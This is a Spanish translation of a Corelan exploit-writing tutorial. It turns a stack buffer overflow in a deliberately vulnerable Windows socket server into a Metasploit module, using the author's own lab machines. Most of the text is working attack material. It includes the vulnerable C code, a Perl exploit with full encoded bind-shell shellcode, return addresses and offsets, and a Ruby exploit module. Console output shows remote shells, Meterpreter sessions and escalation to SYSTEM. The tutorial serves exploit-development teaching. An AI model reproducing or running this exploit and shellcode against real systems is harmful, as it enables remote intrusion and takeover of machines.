

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

En los primeros tutoriales de exploits, discutí algunas vulnerabilidades comunes que pueden llevar a 2 tipos de exploits, los de desbordamiento de pila con sobre escritura de EIP directa y los de desbordamiento de pila que se aprovechan de las cadenas SEH. En mis ejemplos, he usado Perl para construir un exploit funcional.

Obviamente, escribir exploits no se limita a Perl solamente. Supongo que todos los lenguajes de programación se podrían usar para escribir exploits. Solo elige uno con el que te sientas más a gusto. (Python, C, C++, C#, etc).

A pesar de que estos exploits personalizados funcionarían bien, sería agradable incluir tus propios exploits en la estructura de Metasploit para aprovechar algunos razgos de ella.

Hoy, explicaré como se puede escribir exploits como un módulo de Metasploit. Los módulos de Metasploit se escriben en Ruby.

<http://www.ruby-lang.org/es/>

Si no sabes mucho acerca de Ruby, aún deberías poder escribir un módulo de exploit de Metasploit. Rima. ☺ Basado en este tutorial y los exploits existentes disponibles en Metasploit.

## Estructura del Módulo de Exploits de Metasploit

Una estructura de este tipo consiste en los siguientes componentes:

- Cabeceras y algunas dependencias.
  - Algunos comentarios acerca del módulo requieren ‘msf/core’.
- Definición de clases.
- includes
- Definiciones “defs”:
  - initialize
  - check (opcional)
  - exploit

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

Puedes poner comentarios en tu módulo de Metasploit usando el carácter #. Eso es todo lo que necesitamos por ahora. Veamos algunos pasos para construir un módulo de exploits con Metasploit.

### Estudio del caso: para un servidor vulnerable sencillo

Usaremos el siguiente código del servidor vulnerable (C) para demostrar el proceso de construcción:

```
#include <iostream.h>
#include <winsock.h>
#include <windows.h>

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
    char buf[500]="";
    strcpy(buf,str);
}

void sError(char *str)
{
    MessageBox (NULL, str, "socket Error" ,MB_OK);
    WSACleanup();
}

int main(int argc, char **argv)
{
    WORD sockVersion;
    WSADATA wsaData;

    int rVal;
    char Message[5000]="";
    char buf[2000]="";

    u_short LocalPort;
    LocalPort = 200;

    //wsock32 initialized for usage
    sockVersion = MAKEWORD(1,1);
    WSASStartup(sockVersion, &wsaData);

    //create server socket
    SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

    if(serverSocket == INVALID_SOCKET)
    {
        sError("Failed socket()");
        return SS_ERROR;
    }
}
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
    sError("Failed bind()");
    WSACleanup();
    return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
    sError("Failed listen()");
    WSACleanup();
    return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
    sError("Failed accept()");
    WSACleanup();
    return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
    //receive the data that is being sent by the client max limit to
    5000 bytes.
    bytesRecv = recv( clientSocket, Message, 5000, 0 );

    if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
    {
        printf( "\nConnection Closed.\n");
        break;
    }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

Compila el código y ejecútalo en un Windows 2003 server R2 con SP2. (He usado lcc-win32 para compilar el código).

Cuando envias 1000 bytes al servidor, este da error (crashea).

El siguiente script de Perl demuestra el crash:

```
use strict;
use Socket;
my $junk = "\x41" x1000;

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";
```

El servidor vulnerable muere, y EIP es sobre escrito con A's.

```
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec
edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz
ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010212
41414141 ??
```

Usando un patrón de Metasploit, determinamos que el Offset para sobre escribir EIP está a 504 bytes. Construiremos un nuevo script de error para verificar el Offset y ver el contenido de los registros cuando ocurra el desbordamiento.



## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

Incrementa el tamaño de la basura para ver cuánto espacio disponible tienes para tu Shellcode. Esto es importante porque necesitarás especificar este parámetro en el módulo de Metasploit.

Cambia el valor de **\$totalbuffer** a 2000, el desbordamiento aún funciona como se esperaba y el contenido de ESP indica que hemos podido llenar la memoria con C's hasta ESP+5D3 (1491 bytes). Ese será nuestro espacio para la Shellcode más o menos.

Todo lo que necesitamos es sobre escribir EIP con JMP ESP (o CALL ESP o algo similar), y poner nuestra Shellcode en vez de las C's. Todo debería funcionar bien.

Usando **Findjmp**, hemos encontrado una dirección funcional para nuestro Windows 2003 R2 SP2 server:

```
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp
register
0x71C02B67      push esp - ret
Finished Scanning ws2_32.dll for code usable with
the esp register
Found 1 usable addresses
```

Después de hacer algunas pruebas con la Shellcode, podemos usar las siguientes conclusiones para construir los exploits finales:

- Excluir 0xFF de la Shellcode.
- Poner NOP's antes de la Shellcode.

Nuestro exploit final (en Perl con una Shell al puerto 5555 vía TCP) quedaría así:

```
#
print " -----\n";
print "      Writing Buffer Overflows\n";
print "      Peter Van Eeckhoutte\n";
print "      http://www.corelan.be:8800\n";
print " -----\n";
print "      Exploit for vulnserver.c\n";
print " -----\n";
use strict;
use Socket;
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
my $junk = "\x90" x 504;

#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);

#add some NOP's
my $shellcode="\x90" x 50;

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x4
9\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30"
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";

print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");

close SOCKET or die "close: $!";
```

Salida del exploit:

```
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
-----
      Writing Buffer Overflows
      Peter Van Eeckhoutte
      http://www.corelan.be:8800
-----
      Exploit for vulnserver.c
-----

[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator
```



## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

Los parámetros más importantes que se pueden tomar de este exploit son:

- El Offset al RET (sobre escritura de EIP) es 504.
- La dirección del salto de Windows 2003 R2 SP2 (Inglés) es 0x71C02B67.
- La Shellcode no debería tener 0x00 o 0xFF.
- La Shellcode debe ser de más o menos 1400 bytes.

### Convirtiendo el Exploit a Metasploit

Primero, necesitas determinar de qué tipo será tu exploit porque eso determinará el lugar entre la estructura de la carpeta de Metasploit donde se guardará el exploit. Si tu exploit está trabajando un servidor FTP de Windows, necesitaría ser colocado en los exploits del servidor FTP de Windows. Los módulos de Metasploit se guardan en la carpeta framework3xx. En /modules/exploits. En esa carpeta, los exploits son colapsados en los sistemas operativos primero y en luego en los servicios.

Nuestro servidor corre en Windows. Entonces, lo pondremos bajo Windows. La carpeta de WINDOWS ya contiene un número de carpetas. Crea una nueva carpeta llamada “misc”. Pondremos nuestro exploit en esa carpeta (o podríamos ponerla en Telnet) porque no pertenece a otros tipos.

Crearemos nuestro módulo de Metasploit en:  
%metasploit%/modules/windows/misc:

```
root@backtrack4:/# cd
/pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb
```

```
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
def initialize(info = {})
  super(update_info(info,
    'Name' => 'Custom vulnerable server
stack overflow',
    'Description' => %q{
overflow in a
This module exploits a stack
custom vulnerable server.
},
    'Author' => [ 'Peter Van Eeckhoutte'
],
    'Version' => '$Revision: 9999 $',
    'DefaultOptions' =>
      {
        'EXITFUNC' => 'process',
      },
    'Payload' =>
      {
        'Space' => 1400,
        'BadChars' => "\x00\xff",
      },
    'Platform' => 'win',
    'Targets' =>
      [
        ['Windows XP SP3 En',
         { 'Ret' => 0x7c874413,
'Offset' => 504 } ],
        ['Windows 2003 Server R2 SP2',
         { 'Ret' => 0x71c02b67,
'Offset' => 504 } ],
      ],
    'DefaultTarget' => 0,
    'Privileged' => false
  ))

  register_options(
    [
      Opt::RPORT(200)
    ], self.class)
end

def exploit
  connect

  junk = make_nops(target['Offset'])
  exploit = junk + [target.ret].pack('V') + make_nops(50) +
payload.encoded
  sock.put(exploit)

  handler
  disconnect
end

end
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

Vemos los siguientes componentes:

- Primero, ponemos “require msf/core”, que será válido para todos los exploits de Metasploit.
- Define la clase. En nuestro caso, es un exploit remoto.
- Después, coloca las definiciones e información del exploit:
- **include**: en nuestro caso, es una conexión TCP plana. Por eso usamos: Msf::Exploit::Remote::Tcp.

-Metasploit tiene manejadores para http, ftp, etc... Lo cual te ayudará a crear exploits más rápidamente porque no tienes que escribir la información completa tú mismo.

- Información:

-Payload: define el largo y los caracteres malos (0x00 y 0xFF en nuestro caso)

-Define los objetivos y sus configuraciones específicas tales como: la dirección de retorno, Offset, etc.

- Exploit:
  - connect (el cual configurará la conexión al puerto remoto).
  - Crea el buffer.
  - Basura (NOP's con el tamaño del offset).
  - Agrega la dirección de retorno, más NOP's y luego el payload codificado.
  - Escribe el buffer a la conexión.
  - Maneja el exploit. (handler)
  - Desconéctate (disconnect)

Eso es todo. Ahora, abre msfconsole. Si hay un error en tu script, verás información acerca del exploit mientras carga la msfconsole. Si la msfconsole ya fue cargada, tendrás que cerrarla de nuevo antes de que puedas usar este módulo o antes de poder usar el módulo actualizado si has hecho algún cambio.



## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
Payload options (windows/meterpreter/bind_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique: seh, thread,
process
  LPORT     4444            yes       The local port
  RHOST     192.168.24.10  no        The target address

Exploit target:

  Id  Name
  --  ---
  0   Windows XP SP3 En

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216
bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 ->
192.168.24.10:4444)

meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS      : Windows XP (Build 2600, Service Pack 3).
```

## Prueba 2: Windows 2003 Server R2 SP2

Continuado del exploit a XP:

```
meterpreter >
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > show options

Module options:

  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.24.3    yes       The target address
  RPORT     200              yes       The target port

Payload options (windows/meterpreter/bind_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique: seh, thread,
process
  LPORT     4444            yes       The local port
```

## Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por corelanc0d3r traducido por Ivinson/CLS

```
RHOST      192.168.24.3      no      The target address

Exploit target:

  Id  Name
  --  ----
  1   Windows 2003 Server R2 SP2

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216
bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 ->
192.168.24.3:4444)

meterpreter > sysinfo
Computer: WIN2003-01
OS      : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps

Process list
=====

  PID  Name                Path
  ---  ----                -
  300  smss.exe            \SystemRoot\System32\smss.exe
  372  winlogon.exe        \??\C:\WINDOWS\system32\winlogon.exe
  396  Explorer.EXE        C:\WINDOWS\Explorer.EXE
  420  services.exe        C:\WINDOWS\system32\services.exe
  424  ctfmon.exe          C:\WINDOWS\system32\ctfmon.exe
  432  lsass.exe           C:\WINDOWS\system32\lsass.exe
  652  svchost.exe         C:\WINDOWS\system32\svchost.exe
  832  svchost.exe         C:\WINDOWS\System32\svchost.exe
  996  spoolsv.exe         C:\WINDOWS\system32\spoolsv.exe
  1132 svchost.exe         C:\WINDOWS\System32\svchost.exe
  1392 dllhost.exe         C:\WINDOWS\system32\dllhost.exe
  1580 svchost.exe         C:\WINDOWS\System32\svchost.exe
  1600 svchost.exe         C:\WINDOWS\System32\svchost.exe
  2352 cmd.exe             C:\WINDOWS\system32\cmd.exe
  2888 vulnserver.exe      C:\vulnserver\lcc\vulnserver.exe

meterpreter > migrate 996
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

¡Baaam! ☺

**Creacion de Exploits 4: de Exploit a Metasploit – lo Básico por  
corelanc0d3r traducido por Ivinson/CLS**

**Más información de la API Metasploit**

También puedes encontrar clases disponibles:

<http://www.metasploit.com/documents/api/msfcore/index.html>

¿Preguntas? ¿Comentarios? ¿Tips y Trucos?

<https://www.corelan.be/index.php/forum/writing-exploits>

© 2009 - 2012, Corelan Team (corelanc0d3r). Todos los derechos reservados. ☺

Página Oficial en Inglés:

<http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/>

Traductor: **Ivinson/CLS**. Contacto: [lpadilla63@gmail.com](mailto:lpadilla63@gmail.com)